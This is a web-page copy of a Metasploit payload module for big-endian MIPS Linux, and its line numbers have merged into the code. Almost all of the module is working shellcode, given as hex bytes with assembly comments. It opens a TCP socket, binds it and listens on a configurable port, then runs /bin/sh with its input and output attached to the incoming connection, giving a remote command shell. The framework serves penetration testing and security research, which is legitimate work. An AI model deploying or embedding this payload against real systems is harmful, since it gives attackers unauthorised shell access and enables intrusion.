Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
Views: 11781
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 232910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' =>19[20'scut', # Original mips-irix-portshell shellcode21'vaicebine', # Original shellcode mod22'Vlatko Kosturjak', # Metasploit module (mipsle)23'juan vazquez' # mipsbe conversion plus small fixes and optimizations24],25'License' => MSF_LICENSE,26'Platform' => 'linux',27'Arch' => ARCH_MIPSBE,28'Handler' => Msf::Handler::BindTcp,29'Session' => Msf::Sessions::CommandShellUnix,30'Payload' =>31{32'Offsets' => {} ,33'Payload' => ''34})35)36end3738def generate(_opts = {})39if !datastore['LPORT']40return super41end4243port = Integer(datastore['LPORT'])44port = [port].pack("n").unpack("cc");4546shellcode =47# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 348"\x27\xbd\xff\xe0" + # addiu sp,sp,-3249"\x24\x0e\xff\xfd" + # li t6,-350"\x01\xc0\x20\x27" + # nor a0,t6,zero51"\x01\xc0\x28\x27" + # nor a1,t6,zero52"\x28\x06\xff\xff" + # slti a2,zero,-153"\x24\x02\x10\x57" + # li v0,4183 ( __NR_socket )54"\x01\x01\x01\x0c" + # syscall5556# bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 057"\x30\x50\xff\xff" + # andi s0,v0,0xffff58"\x24\x0e\xff\xef" + # li t6,-17 ; t6: 0xffffffef59"\x01\xc0\x70\x27" + # nor t6,t6,zero ; t6: 0x10 (16)60"\x24\x0d\xff\xfd" + # li t5,-3 ; t5: -361"\x01\xa0\x68\x27" + # nor t5,t5,zero ; t5: 0x262"\x01\xcd\x68\x04" + # sllv t5,t5,t6 ; t5: 0x0002000063"\x24\x0e" + port.pack("C2") + # li t6,0xFFFF (port) ; t6: 0x115c (4444 (default LPORT))64"\x01\xae\x68\x25" + # or t5,t5,t6 ; t5: 0x0002115c65"\xaf\xad\xff\xe0" + # sw t5,-32(sp)66"\xaf\xa0\xff\xe4" + # sw zero,-28(sp)67"\xaf\xa0\xff\xe8" + # sw zero,-24(sp)68"\xaf\xa0\xff\xec" + # sw zero,-20(sp)69"\x02\x10\x20\x25" + # or a0,s0,s070"\x24\x0e\xff\xef" + # li t6,-1771"\x01\xc0\x30\x27" + # nor a2,t6,zero72"\x23\xa5\xff\xe0" + # addi a1,sp,-3273"\x24\x02\x10\x49" + # li v0,4169 ( __NR_bind )A74"\x01\x01\x01\x0c" + # syscall7576# listen(3, 257) = 077"\x02\x10\x20\x25" + # or a0,s0,s078"\x24\x05\x01\x01" + # li a1,25779"\x24\x02\x10\x4e" + # li v0,4174 ( __NR_listen )80"\x01\x01\x01\x0c" + # syscall8182# accept(3, 0, NULL) = 483"\x02\x10\x20\x25" + # or a0,s0,s084"\x28\x05\xff\xff" + # slti a1,zero,-185"\x28\x06\xff\xff" + # slti a2,zero,-186"\x24\x02\x10\x48" + # li v0,4168 ( __NR_accept )87"\x01\x01\x01\x0c" + # syscall8889# dup2(4, 2) = 290# dup2(4, 1) = 191# dup2(4, 0) = 092"\xaf\xa2\xff\xff" + # sw v0,-1(sp) # socket93"\x24\x11\xff\xfd" + # li s1,-394"\x02\x20\x88\x27" + # nor s1,s1,zero95"\x8f\xa4\xff\xff" + # lw a0,-1(sp)96"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop97"\x24\x02\x0f\xdf" + # li v0,4063 ( __NR_dup2 )98"\x01\x01\x01\x0c" + # syscall 0x4040499"\x24\x10\xff\xff" + # li s0,-1100"\x22\x31\xff\xff" + # addi s1,s1,-1101"\x16\x30\xff\xfa" + # bne s1,s0 <dup2_loop>102103# execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0104"\x28\x06\xff\xff" + # slti a2,zero,-1105"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"106"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"107"\xaf\xaf\xff\xec" + # sw t7,-20(sp)108"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"109"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"110"\xaf\xae\xff\xf0" + # sw t6,-16(sp)111"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)112"\x27\xa4\xff\xec" + # addiu a0,sp,-20113"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)114"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)115"\x27\xa5\xff\xf8" + # addiu a1,sp,-8116"\x24\x02\x0f\xab" + # li v0,4011 ( __NR_execve )117"\x01\x01\x01\x0c" # syscall 0x40404118119return super + shellcode120end121end122123124